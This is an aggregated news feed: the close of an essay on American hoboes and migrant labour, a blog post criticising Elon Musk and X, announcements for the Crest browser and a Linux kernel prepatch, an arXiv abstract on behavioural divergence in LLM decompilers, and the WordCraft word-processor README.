The year 1893 was a different story. A drought year, it was a “nightmare,” Suits says, followed by year after year of drought, the worst period until the 1930s. At the same time, the price of wheat fell owing to a global wheat glut and an economic depression. Once-valued itinerant laborers were cast adrift, dismissed as lazy and shiftless and increasingly seen as a threat to towns and families. Where once “harvest hand” was an affectionate term for newborn babies, “tramps” were now denounced as dirty drunks. Newspapers reviled them in moral terms, hinting at fears that tramp life offered, in Suits’s words, “a haven for homosexuality and nonnormative behaviors” that would imperil women and children. The drought alone didn’t cause this violent shift in rhetoric, but the surplus of workers engendered by boom-and-bust eventually incited violence against homeless men. “The increasing suspicion of the harvest hand,” Suits argues, arose from “climatic conditions and the economic and penal systems around them.”

What emerges as a theme in The Hobo is the sheer nastiness of townsfolk, police, railroad bulls, and farmers themselves in dealing with the “tramp problem,” a viciousness baked into small-town attitudes since the Puritans gave shape to our national identity, with its moral superiority and hostility toward outsiders. “Police turfed hoboes from cars, criminals shot and beat them for their earnings, and on top of all that, farmers increasingly saw hoboes as employees and adversaries rather than friendly faces at the dinner table,” Suits writes. Even when they were working, they were suspected of loose morals and alcoholism.

In 1913 an editorial in The Mirror , a newspaper published by Minnesota’s Stillwater State Prison, described harvest hands who expected “a large drink of whiskey every morning,” two lunches carried to the field, and a “quart bottle of beer at dinner.” Not perhaps unreasonable for people doing hard labor in the fields from dawn to dusk—“killing work,” one called it—but the gracious meeting of these needs by a “Bohemian farmer” suggests how different self-righteous American pieties regarding alcohol and abstinence could be from somewhat more relaxed European attitudes. The writer noted that experienced hands returned to the same Bohemian settlement year after year: “The best harvest hands are hoboes, they do the work; but to keep them with you, they have to be treated according to their standard. The hobo’s idea of a good time is to have plenty of things to drink.”

The volatility of responses to harvest workers gave rise to a movement to unionize. In the 1910s Joe Hill, a so-called Wobbly, took up a popular vaudeville song, “Ta-Ra-Ra-Boom-De-Ay,” and recast the lyrics to promote the Industrial Workers of the World, which also adopted “Hallelujah, I’m a Bum!” as its anthem. In Hill’s version a worker drops his pitchfork, accidentally on purpose, into the cogs of the thresher machine, producing an unholy racket and a work shutdown: “Ta-ra-ra-boom-de-ay!/It made a noise that way.” It was an early version of what we would now call monkeywrenching.

Organizing strikes virtually every year, the IWW managed to raise harvest hand wages to four dollars per day in some parts of the Dakotas by 1917, but its actions became pitched battles between town vigilantes, ad hoc militias, and union organizers. Eventually the gains were threatened by increasing farm mechanization and a federal crackdown during World War I, when threats to the national food supply were characterized as antiwar and union “agitators” were swept up and arrested. Despite their obstreperousness and resistance to organization, hoboes were nonetheless involved in most of the major labor actions of their time. “The heart of our trouble today,” wrote one such radical, “lies in our having allowed private ownership in the big industries of the country.”

For many hoboes, wheat farming occupied summer and fall, lumbering the winter, but felling trees won them no respect either. Robert Frost’s early hobo poem in North of Boston (1914), “The Death of the Hired Man,” adopted the farmers’, not the laborers’, perspective, and his ambiguous response to vagrants is evident in a later work, “Two Tramps in Mud Time”:

Out of the woods two hulking tramps
(From sleeping God knows where last night,
But not long since in the lumber camps).
They thought all chopping was theirs of right.
Men of the woods and lumberjacks,
They judged me by their appropriate tool.
Except as a fellow handled an ax
They had no way of knowing a fool.

Arguably a bit hulking himself, Frost grudgingly acknowledges the tramps’ “need” as a “better right,” but he keeps on chopping, insisting that his purpose, “to unite/My avocation and my vocation,” is higher. The poet known for his dialogues chooses not to give them a voice.

Suits is at his sharpest when writing about the North Woods of Wisconsin, the legendary Big Woods that stretched across thousands of acres of the great Northland. He grew up among the scars concealed by a canopy of second growth,

wounds that have barely begun to heal…. You can see the past…in how nearly every tree is the same size; there were no old oaks or maples on my childhood street. Each of them, without exception, was not yet a century old.

Eloquent on the risks of felling massive trees and skidding logs down frozen rivers, he dissects an economy that relied on “raw” human kinetic energy to convert forests into lumber, with men functioning as metabolic engines, working shirtless in the freezing cold as they burned off enormous meals of five, six, or eight thousand calories a day. “A 1910 estimate of power use in the timber industry,” he says, “combined with what we know about camp food suggests humans probably supplied around a third of the total power,” itself perhaps an underestimate. Not surprisingly, Suits notes, hoboes often compared themselves to “draft animals,” lamenting the “horse work” they were required to perform.

Such labor was rewarded with disgusting living conditions: bunkhouses furnished with dirt floors, no ventilation, and verminous blankets. Men like those in Frost’s poem took to the roads searching for better conditions. P.K. Small, a lumberjack interviewed by a federal investigator, was missing half of his nose and had broken a hand, a leg, and a shoulder in various skidding accidents but said he dreaded the bunkhouses the most. Monotonous meals of salt pork or salt beef were filled out with bread or potatoes; drinking water was unsafe, with men sharing a common cup; typhoid fever, smallpox, and influenza were rampant. Accidents were greeted with shrugs. “A drowning did not even slow up the work,” according to a lumberjack in Wisconsin. “The drive had to go on.” Another man, ill with tuberculosis, said, “I got to keep on going till I drop. Every night I think I’m going to die.” Broken limbs and amputations were not uncommon, but there was no recourse for the maimed: private insurance policies excluded lumbering, along with mining and construction work. Such men generally ended up indigent, living in almshouses or begging for food.

The land was also broken: “The woodland that built most of the cities and towns of the Great Plains, from Chicago to tiny farmsteads in Montana, still has yet to regenerate fully, more than a century later.” Towns in the Northland with economies once dependent on lumber were left to shift to other forms of income or simply disappear.

Hoboes themselves began to vanish. Tractors and increasingly sophisticated forms of automation took their places on farms, and the North Woods were logged out by 1920. Lumberjacks moved on to lay waste to the Pacific Northwest and the pine forests of the South, and there, too, mechanization began replacing human labor. Successive union strikes helped to establish an eight-hour workday in northwestern lumber camps and mills, but by the 1950s the chainsaw took the place of axes and handsaws, and cars made commuting to lumber jobs possible for family men.

By the mid-twentieth century, the Great Plains were growing “wheat sick,” with yields depleted by years of monoculture. To meet the needs of farmers raising fruit in California and the sugar beets that were replacing wheat in the Midwest, families from Mexico were recruited in the border states, with some moving north to handle the beet crop. Asked by Congress why they were relying on immigrant labor, farmers admitted that Americans didn’t want to do manual labor anymore. Immigrants, meanwhile, found conditions as dirty, dangerous, and exploitative as the hoboes had and were likewise subjected to punitive violence, now embedded in the federal response of ICE.

There is no “clean end” to the history of hoboes, Suits says. Migrant manual laborers still fill what he calls “the interstices of the fossil economy,” the places where human hands are indispensable: they labor in slaughterhouses or in construction jobs or as pickers “in the vast warehouses of online retailers.” In fields, they tend and harvest apples, apricots, avocados, blueberries, carrots, cherries, chiles, grapes, lettuce, melons, mushrooms, raspberries, strawberries, and tomatoes. Yet these workers, “now racialized,” who fill grocery shelves are unceasingly devalued, with Republicans calling for “MASS DEPORTATION NOW!” at their national convention in 2024.

The capitalist system that produced and took advantage of hoboes is still visible today in the new hobo camps—tent cities under highway overpasses where the migrant poor, some 40 percent of whom are working (often two or three jobs), find temporary shelter. If today we were to ask, “O brother, where art thou?” the answer would be simple: a car in the Walmart parking lot. Even if you have a full-time job there, at the base pay of fourteen dollars an hour it would be impossible to afford housing or basic needs. Meanwhile, so-called right-to-work laws limiting union membership in twenty-six states have crippled organizations that might once have lobbied for higher pay and better conditions.

Suits acknowledges that the hoboes’ way of life was shaped by agricultural forces that no longer hold sway. But he points out that we nonetheless inherited from a previous century our heartless attitudes toward homeless and migratory workers and the rhetoric we use to revile them. The number of homeless people in the US, more than 745,000 as of 2025, is “roughly equal” to what it was then, even though the overall population has tripled. Yet the contempt for those who perform our killing work remains a testament to the nature of American generosity. There’s no hallelujah about it.

No one, it seems, envies the hobo or the homeless anymore. Dylan, our great troubadour of the open road, continues to lead a wandering life, restlessly touring year after year. He was scheduled to perform in Las Vegas in 2016 when the Nobel Committee announced that he’d won the prize for literature. He said nothing about the honor to his audience that night and did not respond to the committee for weeks. For an encore, though, he sang a Frank Sinatra song, perhaps an homage to his humblest idols:

I’m sentimental, so I walk in the rain
I’ve got some habits even I can’t explain
Could start for the corner, turn up in Spain
But why try to change me now?

[Portside moderator - Listen to Woody Guthrie - This Land Is Your Land ]


Caroline Fraser is the author of Prairie Fires: The American Dreams of Laura Ingalls Wilder , which was awarded the 2018 Pulitzer Prize in Biography. Her book Murderland: Crime and Bloodlust in the Time of Serial Killers was published last year.

The New York Review was launched during the New York City newspaper strike of 1963, when the magazine’s founding editors, Robert Silvers and Barbara Epstein, alongside Jason Epstein, Robert Lowell, and Elizabeth Hardwick, decided to start a new kind of publication—one in which the most interesting, lively, and qualified minds of the time could write about current books and issues in depth.

Readers responded by buying almost every copy and writing thousands of letters to demand that the Review continue. From the beginning, the editors were determined that the Review should be an independent publication; it began life as an editorial voice beholden to no one, and it remains so today.

The Making of Israel’s Palestinian Mafias

Portside
portside.org
2026-10-11 23:51:38
The Making of Israel’s Palestinian Mafias Ira Sun, 10/11/2026 - 23:51 ...
Original Article

The Making of Israel’s Palestinian Mafias

An epidemic of criminal violence is devastating Palestinian communities inside Israel, with this year’s death toll reaching 168 at the time of recording. But the numbers tell only part of the story: Mafia networks have penetrated almost every aspect

X Is Bad, Though

Hacker News
lexontech.org
2026-10-11 23:50:58
Comments...
Original Article

I admire John Gruber.

I think he’s a great writer. I think he’s smart as hell. He’s annoyingly funny, too. I am impressed and inspired by his success with both Daring Fireball and The Talk Show.

I get excited when John links to one of my apps or articles. When he linked to my story about relaunching Strategery, that led to a wave of extra exposure orders of magnitude over a typical story on this site.

With decreasing subtlety over the past few weeks, John keeps pointing out that there’s a lot of fun to be had over on X, culminating in his piece today that “X Once Again Marks The Spot.”

His point, as I see it, is that yes, Elon Musk is awful, but the X algorithm no longer shoves his posts into John’s feed, and new Apple CEO John Ternus is posting there (along with other Apple executives), and that there are interesting people who post on X and not elsewhere.

That all may be true. But it’s not the point.

It is true that X has, by some definition, “won.” Elon bought it, quickly ruined it, squandered its great Twitter branding, drove many users off the platform — but because it’s the most popular microblogging platform, it continues to succeed. And business leaders like Ternus, celebrities, and other smart and interesting people are posting there again, or they never left.

But it’s also true that Elon Musk absolutely sucks. Let’s use receipts.

  1. He called an antisemitic conspiracy theory “the actual truth.” (Nov 2023) Someone on X claimed Jewish people want to replace white majorities with minorities, and Musk co-signed it. Apple and Lionsgate pulled their ads. He apologized, then told the advertisers who left to — quoting Elon here — “go fuck themselves” in the same interview. Of course, all the advertisers came back. It’s unclear to me whether they actually engaged in coitus with themselves, nor is it my business. CBS News
  1. The salute, followed by the Nazi puns. (Jan 2025) He made a straight-arm gesture at an inauguration event. A few days later he posted wordplay on Goebbels, Hess, Göring, and Himmler. Even the ADL, which had defended Elon against claims he made the gesture — which, believe your eyeballs, he did — said the Holocaust isn’t a joke. Global News
  1. He told Germany’s far right to get over “past guilt.” (Jan 2025) He appeared by video at an AfD rally, called the party Germany’s best hope, and said there’s too much focus on the past. The rally was in Halle, where a far-right gunman attacked a synagogue in 2019. JTA
  1. He said his own trans daughter was “killed.” (July 2024) On Jordan Peterson’s show he deadnamed and misgendered Vivian over and over. He blamed the “woke mind virus” and said it’s what pushed him to the right. Rolling Stone
  1. He quietly deleted X’s protections for trans users. (Apr 2023) Twitter dropped its 2018 rule against targeted misgendering and deadnaming. A weaker version came back later, but it only applies where local law requires it, and the person being targeted has to report it themselves. AP via Anchorage Daily News
  1. His chatbot started calling itself MechaHitler. (July 2025) He announced he’d made Grok less “politically correct.” Within days it was praising Hitler and repeating antisemitic memes. xAI apologized and blamed a code update. TechCrunch
  1. He told a London crowd “fight back or die.” (Sept 2025) He spoke by video at Tommy Robinson’s rally and told the crowd violence was coming for them either way. Police reported 26 officers injured and 25 arrests. Downing Street called his language dangerous and inflammatory. NBC News
  1. He called a cave rescuer a “pedo guy.” (2018) The diver’s offense was saying Musk’s mini-sub wouldn’t work. A jury found it wasn’t legally defamation, and Musk admitted on the stand that he didn’t actually think the guy was a pedophile. CNBC
  1. He boosted a conspiracy theory about the Paul Pelosi attack. (Oct 2022) Days after buying Twitter, he linked to a fringe site whose story on the hammer attack pushed an anti-LGBT conspiracy theory. It’s the same site that once reported Hillary Clinton was dead. He deleted the post later that day. CBS News
  1. Everyone’s a traitor now. (July 2026) An Economist editor pushed back on him in an interview, and he called her a traitor to the West. He then declared that anyone who opposes “remigration” is a traitor too, and kept posting “first the traitors, then the invaders.” That slogan comes from The Turner Diaries . Il Foglio
  1. He compared gender-care surgeons to Josef Mengele. (Feb 2026) That’s the Auschwitz doctor. Musk called the surgeons “modern day Mengeles” and predicted thousands of lawsuits. IOL

For the record, Musk says he’s not antisemitic, not a Nazi, and just protecting kids. I think his words tell a different story.

So the question becomes this: Can you disagree with Elon Musk, or consider him an anti-trans, racist Nazi, and still use X?

Sure, you can.

Full disclosure: I still own two Teslas. They’re old. One’s from 2017; one’s from 2019. We bought them, as our bumper stickers say, before we knew Elon was crazy. They have unlimited supercharging, so I feel like I’m costing Elon money every time I use them. I’m selling one of the two as soon as our new car arrives, which should be any day now. Tesla replaced the full battery on it recently under warranty, again, at their $20,000 expense, which brought me great joy — since they had to pay it and I didn’t.

I don’t visit X because I think X profits benefit Elon Musk, and I think Elon Musk is a bad person. My kids loved Harry Potter, but we don’t give any more money to trans-hater JK Rowling, either.

It’s hard to miss out on fun things. I miss what Twitter was. I wish I were still enjoying the party. But I sleep way better at night knowing I’m taking the steps I can to not make that smug, rich, hateful asshole any richer.

Crest – an Arc-inspired open-source browser for Mac

Hacker News
crestbrowser.com
2026-10-11 23:37:09
Comments...
Original Article

The browser for life after Arc.

Spaces, a sidebar, Peek, and Split View. Native on Mac, iPad, and iPhone.

Early access. Security not independently audited. MPL 2.0. Not affiliated with Arc.

Coming from Arc?

The features you used, some with new names.

Full list
Arc Crest
Spaces + Profiles Spaces
Sidebar Sidebar
Favorites Pinned sites
Pinned Tabs Saved tabs
Folders Saved folders
Command Bar Command palette
Air Traffic Control Link Routing
Split View Split View
Peek Peek
Little Arc Quick Window
Auto Archive Space cleanup + Archive
Recent Tab Switcher Most Recent Tab
Custom Keyboard Shortcuts Rebindable shortcuts
Developer Mode Developer tools
Site Control Center Site Controls
Extensions Extensions per Space
Incognito Private Spaces
Space Themes Crest Studio + gradients
Arc Sync iCloud sync
Library History, Archive + Downloads
Import from Another Browser Import

Chromium and WebKit, Chrome extensions, and Split View.

The sidebar beside the page, with resizable Split View.

Full-screen pages, with the sidebar a swipe away.

Spaces, tabs, and folders sync through iCloud.

Bring your browser with you.

Import on Mac. Review each Space before anything moves.

Crest Setup reviewing an Arc Space beside its Crest destination before import

Arc Spaces, tabs, folders, colors, icons, passwords

Zen Spaces, Essentials, pinned tabs, folders, colors

Chrome Profiles, bookmarks, open tabs, passwords

Safari Bookmarks, windows, open tabs

Firefox Windows, open tabs, pinned tabs

Also in Crest

Two engines Mac

Chromium, plus WebKit per site. More

Extensions Mac

From the Chrome Web Store, per Space. More

Crest Passwords

In the Keychain, matched per Space.

Private Spaces

Nothing kept. Optional Face ID or Touch ID lock.

Content blocking

uBlock Origin Lite or the built-in list.

Site permissions

Remembered per site and Space.

Translation

Whole pages, on device.

Reader

On iPhone, iPad, and WebKit pages.

Media

Now Playing and Picture in Picture.

Organize

Move tabs and folders together.

Developer tools Mac

Viewports, Console, and Network.

Shortcuts Mac

Rebind any command.

Space cleanup

Archive tabs after 12 hours to 30 days.

Downloads

Pause and resume on Chromium.

Page tools

PDF, web archive, and Markdown links.

Keep Loaded

Stops a page from unloading.

Kernel prepatch 7.3-rc7

Linux Weekly News
lwn.net
2026-10-11 23:31:34
The 7.3-rc7 kernel prepatch is out for testing. According to Linus: "As always, I would have preferred to see a smaller rc, but it's not like anything in here looks like a reason to delay the final release. So that's still set for next weekend unless something new comes up." One notable change th...
Original Article

[Posted October 12, 2026 by corbet]

The 7.3-rc7 kernel prepatch is out for testing. According to Linus: " As always, I would have preferred to see a smaller rc, but it's not like anything in here looks like a reason to delay the final release. So that's still set for next weekend unless something new comes up. "

One notable change that slipped into the mainline this week is the deprecation of the ext4 data=journal mode; it will be removed entirely at the beginning of 2028.


When LLM Decompilers Recompile More and Preserve Less

Lobsters
arxiv.org
2026-10-11 22:44:55
Comments...
Original Article

View PDF HTML (experimental)

Abstract: Decompilation recovers high-level source from compiled machine code and serves as a foundation for security tasks such as vulnerability detection and malware analysis. Traditional decompilers like Ghidra and Hex-Rays expose whatever they cannot resolve as visible placeholders and often emit pseudocode that will not compile or execute; LLM-based decompilers produce clean, idiomatic C and are now judged almost entirely by recompilability and re-executability: whether the output builds and passes its shipped input/output tests. We show that these metrics can reward the wrong path: a function may recompile and pass every shipped test yet diverge on other legitimate inputs, and a disclosed vulnerability may disappear from the recompiled code with no visible trace of the crash. Neither failure is caught by existing suites.
To address this gap, we propose Decompile-Diverge, a behavioral comparison oracle not relying on fixed or hand-crafted tests: for each function it synthesizes a driver, grows a fuzzing corpus from the reference, and reruns the decompiled code on the same inputs to detect changes in the function's behavior. Across eight systems in nine configurations on established LLM decompilation corpora, candidates that pass every shipped test still diverge from the original on our input corpus: 4.9% overall, and as many as 13% for a single system. On 300 real GitHub library functions and 287 CVE-grounded functions, recompilability and behavioral agreement can come apart: the strongest refinement LLM lifts Ghidra's build rate from 75% to 90%, while its Matched rate falls from 74% to 62%; on disclosed vulnerabilities, up to one tenth exhibit Crash Absence in its output. Source-level analysis traces this divergence to introduced fields, types, callees, and guards that replace the visible unknowns traditional tools leave behind.

Submission history

From: Chang Liu [ view email ]
[v1] Fri, 4 Sep 2026 17:16:18 UTC (131 KB)

An open-source, clean-room reimplementation of Microsoft Word in pure Rust

Hacker News
github.com
2026-10-11 21:57:39
Comments...
Original Article

ArtCraft

Writing and document design; an open-source, clean-room reimplementation of Microsoft Word, rebuilt in pure Rust.

A fast, open-source word processor with the Word workflow you already know: the ribbon, styles, tables, track changes, references and mail merge. It reads and writes .docx, runs natively on macOS, Windows, Linux and BSD, and in the browser via WebAssembly.
By the ArtCraft team.

Written in Rust Runs on macOS, Windows, Linux, BSD and the web License: MIT OR Apache-2.0 Agent-drivable over MCP

Join the ArtCraft community on Discord

WordCraft on getartcraft.com · ArtCraft · All Crafting Apps

WordCraft with the Home tab of the ribbon open over a two-page document titled The Open Studio Handbook. The Navigation pane on the left lists the document's headings, the Styles gallery shows live previews of Normal, Heading 1, Title and Subtitle, and a word in the first paragraph is selected.
The Open Studio Handbook , WordCraft's built-in sample: the ribbon, live Styles gallery, rulers and the Navigation pane.

Note

ArtCraft is a community of artists from all walks of life. Painters, photographers, filmmakers, illustrators, designers, animators, hobbyists, and people who picked up a pencil last week. If you make things, you're one of us. Come say hi on Discord .

A tour · Why WordCraft · What works today · Quick start · For agents · Architecture · Roadmap · Downloads · The Crafting Apps · License and credits

A tour

Every screenshot below is WordCraft itself, rendered offscreen by its own UI test harness ( cargo run -p wordcraft-ui-egui --example ui_shot ).

The Review tab with Track Changes on: the word forty is inserted in magenta and thirty struck through; three commented phrases are shaded and joined by dashed leader lines to comment balloons in a grey markup area to the right of the page

Review. Track changes, comment balloons in the margin, accept and reject, spelling and grammar as you type.

The References tab with two pages side by side: a table of contents with dotted leaders and page numbers on page one, and a styled table, numbered list and hyperlink on page two

References. Tables of contents, footnotes, citations in APA, MLA, Chicago or IEEE, index and captions.

The Design tab showing style-set previews; the document is set in a serif theme with plum headings underlined by thin rules and a pale diagonal DRAFT watermark behind the text

Design. Themes, style sets, paragraph spacing, watermarks, page colour and borders.

WordCraft in dark mode with the Insert tab open and formatting marks shown: pilcrows at paragraph ends and dots for spaces

Dark mode with formatting marks, and the Insert tab: tables, pictures, shapes, links, headers, footers, fields and symbols.

The Layout tab at 80% zoom: the first paragraph opens with a three-line drop cap E, a dark blue circle sits beside the second section with its paragraph wrapping around it and hyphenating art-ist at the line end, every line is numbered in the left margin and a thin blue border surrounds the page

Layout. Drop caps, text wrapping around pictures and shapes, automatic hyphenation, line numbers and page borders.

The File tab start page with a Good morning greeting, thumbnails of the Blank document, Studio handbook, Letter, Résumé and Report templates, and a list of recent documents

File. Start from a template, open recent documents, edit properties, export to PDF and other formats.

Why WordCraft

  • Familiar. Word's ribbon tabs, groups, shortcuts and behaviour: Enter continues a list, Tab demotes it, Ctrl/⌘+B bolds the word under the caret, the Styles gallery previews styles live, F4 repeats, F7 checks spelling, F8 extends the selection.
  • Your files. Opens and saves .docx (OOXML), and also .odt, .rtf, .html, .md, .tex (LaTeX), .txt; opens Word 97-2003 .doc; exports PDF with real, selectable text, links and bookmarks.
  • Fast. Paragraph layout is cached, so typing in a 188-page document re-lays it out in about 1.4 ms; pages render on demand.
  • Everywhere. One Rust codebase for macOS, Windows, Linux, BSD and the web. No Electron, no Tauri: native egui on the GPU.
  • Built for agents. Every action is a command with an id. The same 422 commands drive the ribbon, keyboard shortcuts, the command search, a command-line tool, a JSON control channel and an MCP server.
  • Private. Spelling, grammar and everything else work offline.
  • Open. MIT OR Apache-2.0. Clean-room: built from public specifications and observation, with every asset original or openly licensed.

What works today

Area Highlights
Writing Fast typing with IME, smart quotes, AutoCorrect, list autoformat ( * , 1. ), dashes; word, sentence, paragraph selection; drag-select; clipboard with formatting; undo/redo; find and replace with regex
Formatting Fonts, sizes, bold/italic/underline styles, strike, sub/superscript, caps, highlight, colours, character spacing, Format Painter, Change Case, Clear Formatting
Paragraphs Alignment, indents (draggable on the ruler), spacing, line spacing, tabs with leaders, borders, shading, keep with next, widow/orphan control
Styles Built-in style set, live gallery, Styles pane, create/modify/update styles, style sets, themes
Lists Bullets, numbering, multilevel, restart, set value, custom formats
Tables Insert by grid, merge/split, styles with banded rows, borders, shading, header rows repeated across pages, rows that split across pages, sort, formulas, text ↔ table
Pages Margins, orientation, size, columns, page/column/section breaks, headers and footers (first page, odd/even), page numbers, watermark, page borders, line numbers, vertical alignment, drop caps, automatic hyphenation
Objects Pictures (resize, crop, recolour, brightness/contrast, transparency, background removal, picture styles, rotate), shapes, text boxes, floating position with text wrapping (square, top and bottom, behind or in front of text)
References Table of contents, footnotes and endnotes, citations and bibliography (APA, MLA, Chicago, IEEE), captions, table of figures, cross-references, index, table of authorities
Review Spelling and grammar with suggestions, thesaurus, word count, comments in margin balloons or a pane, track changes, accept/reject, compare documents, restrict editing, accessibility checker, document inspector
Mailings Mail merge from CSV, merge fields, address block, greeting line, rules, preview, finish to a document; envelopes and labels
View Print layout, web layout, draft, read mode, focus, zoom, one/multiple pages, page width, Navigation pane, rulers, gridlines, dark mode; interface in English, 简体中文, 繁體中文, 日本語, Português (Brasil), Español, Українська, Српски / Srpski, Eesti, Türkçe or Русский (follows the system language by default)
Files .docx read/write (opens in Word), Word 97-2003 .doc import, PDF export, .odt, .rtf, .html, .md, .tex, .txt import/export, page images

The honest picture, area by area, is in ROADMAP.md , the parity assessment and the generated feature checklist .

Quick start

git clone https://github.com/storytold/wordcraft
cd wordcraft
cargo run --release -p wordcraft -- --sample        # the desktop app with the sample document
cargo run --release -p wordcraft -- report.docx     # open a document

Command line:

wordcraft-cli convert report.docx report.pdf        # docx, pdf, odt, rtf, html, md, tex, txt, png
wordcraft-cli text report.docx                      # plain text
wordcraft-cli inspect report.docx                   # structure as JSON
wordcraft-cli run --template sample \
  --cmd 'select.text={"text":"Membership"}' --cmd format.bold --save out.docx

Web: cd apps/wordcraft-web && trunk serve , then open http://127.0.0.1:8771/?sample .

For agents: CLI and MCP

WordCraft was designed to be driven by people and by AI agents.

claude mcp add wordcraft -- wordcraft-cli mcp                  # headless documents
wordcraft --control 7981 &                                     # or drive the running app…
claude mcp add wordcraft-app -- wordcraft-cli mcp --connect 127.0.0.1:7981

Tools include list_commands , execute , batch , type_text , select_text , inspect_document , render_page , save_document , and, with a running app, screenshot , click and key . Agents can check their work through inspect_document without screenshots. See docs/mcp.md and the control protocol . Macros record any sequence of commands and play it back ( tools.recordMacro , tools.macros ).

Logs

The desktop app writes its log records to standard error and to logs/wordcraft.log next to its preferences: on Linux $XDG_CONFIG_HOME/wordcraft/logs/ (by default ~/.config/wordcraft/logs/ ), on macOS ~/Library/Application Support/WordCraft/logs/ , on Windows %APPDATA%\WordCraft\logs\ . A start from a desktop menu or the Dock has no terminal, so this file is what to attach to a bug report: unreadable parts of a .docx, pictures or fonts a PDF export had to leave out and panics the command guard recovered from land there. Each launch moves the previous log to wordcraft.1.log (and that one to wordcraft.2.log ), so the log of a run that crashed survives the next start; a log stops growing at 16 MiB. --version writes no file, and runs with WORDCRAFT_NO_PREFS (agents' test runs) log to standard error only. Document text is never logged; a panic message leaves out the text it quotes.

By default WordCraft's own crates log at info and everything else at warn . RUST_LOG replaces that with env_logger-style directives, for example RUST_LOG=debug , RUST_LOG=warn,wordcraft_docx=trace or RUST_LOG=info,wgpu_core=warn ; a directive ending in * covers every target starting with it ( wordcraft*=debug ). The logger is apps/wordcraft/src/logging.rs .

Architecture

Layer Crate Job
L0 wordcraft-geom units and measurements
L1 wordcraft-doc , wordcraft-fonts , wordcraft-proof document model and editing; fonts and shaping; spelling, grammar, hyphenation
L2 wordcraft-layout , wordcraft-docx , wordcraft-formats line breaking, pagination, tables, notes, hit testing; OOXML; ODT/RTF/HTML/Markdown/TXT
L3 wordcraft-render , wordcraft-pdf rasteriser (vello_cpu); PDF (krilla)
L4 wordcraft-engine session, undo, 422 commands, Word feature catalog
L5 wordcraft-mcp MCP server
L6 wordcraft-ui-egui the Word-style front end (swappable)
apps wordcraft , wordcraft-cli , wordcraft-web desktop, command line, browser

cargo xtask ci runs formatting, clippy, ~800 tests, the asset-attribution check, the layering check and the wasm build. Contributor and agent instructions: AGENTS.md .

Roadmap

WordCraft is in alpha . It covers 88% of Word's ribbon features with commands today; counting depth, file fidelity, stability and the rest, we estimate it is about 60% of the way to replacing all of Word for real work, about 55% for a typical professional's weekly work and about 63% for everyday essentials. Beta needs testing against real-world .docx files, keeping charts and SmartArt through a round trip, pagination closer to Word's, a stability sweep and native printing. Details and estimates: ROADMAP.md and where we fall short .

Downloads

Download WordCraft from GitHub: the latest release has every build listed below, and all releases has earlier versions and their notes. <ver> in the file names is the version number, and SHA256SUMS.txt lists a checksum for every file.

Windows

Build Installer Portable
x64 (64-bit Intel/AMD) wordcraft-<ver>-windows-x64.msi wordcraft-<ver>-windows-x64-portable.zip
arm64 (Snapdragon and other ARM PCs) wordcraft-<ver>-windows-arm64.msi wordcraft-<ver>-windows-arm64-portable.zip
x86 (32-bit) wordcraft-<ver>-windows-x86.msi wordcraft-<ver>-windows-x86-portable.zip

Installers and executables are code-signed.

If the app doesn't open on Windows: the desktop app initializes only DirectX 12 by default. Letting wgpu also create an OpenGL instance can crash some graphics drivers (AMD's atio6axx.dll ) before the window appears, so the app would flash in Task Manager and quit. WGPU_BACKEND overrides the default for troubleshooting (for example dx12 or vulkan ). In PowerShell, from the folder containing the executable:

$env:WGPU_BACKEND = "vulkan"
& .\wordcraft.exe
Remove-Item Env:WGPU_BACKEND                     # restore the default for later launches

An explicit gl override can bring the driver crash back on affected systems. The macOS, Linux and web backend defaults are unchanged.

If the app quits right after its window appears with "Parent device is lost" in the log: WordCraft compiles DirectX 12 shaders with FXC, the compiler built into Windows, so it needs no dxcompiler.dll / dxil.dll and ignores any copy another program put on PATH (#603). WGPU_DX12_COMPILER ( fxc , dxc , auto ) overrides this; with dxc , a matching dxcompiler.dll and dxil.dll must sit next to wordcraft.exe . WGPU_BACKEND = "vulkan" also avoids DirectX 12 altogether.

If the app is slow on an older Windows PC: when DirectX 12 finds no graphics card with a driver for it (for example Intel 4th-generation graphics on Windows 11), it only offers Microsoft's software renderer, which draws every frame on the processor. In that case WordCraft uses OpenGL instead, without setting anything. The log file records the choice (lines starting with graphics: ). WGPU_BACKEND still overrides it, e.g. $env:WGPU_BACKEND = "gl" or "dx12" .

macOS

Build File Notes
App, universal (Apple silicon + Intel) wordcraft-<ver>-macos-universal.dmg Signed and notarized
Command-line tool, universal wordcraft-cli-<ver>-macos-universal.zip Signed and notarized

Linux

Format x86_64 aarch64 (ARM64) Notes
AppImage wordcraft-<ver>-linux-x86_64.AppImage wordcraft-<ver>-linux-aarch64.AppImage Runs anywhere; updates itself with AppImageUpdate ( .zsync files)
Flatpak wordcraft-<ver>-linux-x86_64.flatpak wordcraft-<ver>-linux-aarch64.flatpak Sandboxed; flatpak install --user <file>
Debian/Ubuntu wordcraft-<ver>-linux-x86_64.deb wordcraft-<ver>-linux-aarch64.deb
Fedora/RHEL/openSUSE wordcraft-<ver>-linux-x86_64.rpm wordcraft-<ver>-linux-aarch64.rpm
Tarball wordcraft-<ver>-linux-x86_64.tar.gz wordcraft-<ver>-linux-aarch64.tar.gz Unpack anywhere

RISC-V (riscv64): wordcraft-<ver>-linux-riscv64.tar.gz , a tarball cross-compiled for glibc 2.39+ (Ubuntu 24.04, Debian 13 and newer).

Arch Linux (AUR). Community members maintain three AUR packages; the project doesn't publish to the AUR itself. Install one of them:

Package What it installs Choose it when
wordcraft-bin The release tarball above, prebuilt (x86_64, aarch64) You want the latest release without compiling (quickest)
wordcraft The latest release, built from source with cargo You prefer to build releases yourself
wordcraft-git The current main branch, built from source You want unreleased changes and accept an occasional broken build

For example yay -S wordcraft-bin or paru -S wordcraft-bin .

FreeBSD

Build File
x86_64 wordcraft-<ver>-freebsd-x86_64.tar.gz

Web (WebAssembly)

Build File Notes
Static site wordcraft-web-<ver>.zip Runs in a modern browser; host it on any static server

The Crafting Apps

WordCraft is one of the Crafting Apps : free, open-source creative tools from the ArtCraft team, each written from scratch in Rust and each able to stand on its own.

App What it's for Code Learn more
PhotoCraft Image editing: layers, masks, type and real PSD files GitHub Website
VectorCraft Vector illustration GitHub Website
FilmCraft Video editing, color and sound GitHub Website
LightCraft Photo library and raw development GitHub Website
PdfCraft Reading, organizing and protecting PDFs GitHub Website
EffectCraft Motion graphics and visual effects GitHub Website
DesignCraft Page layout and publishing GitHub Website
WordCraft Writing and document design · you are here GitHub Website

And ArtCraft itself, our AI image and video studio for artists who want real control.

Join the ArtCraft community on Discord

Come make things with us

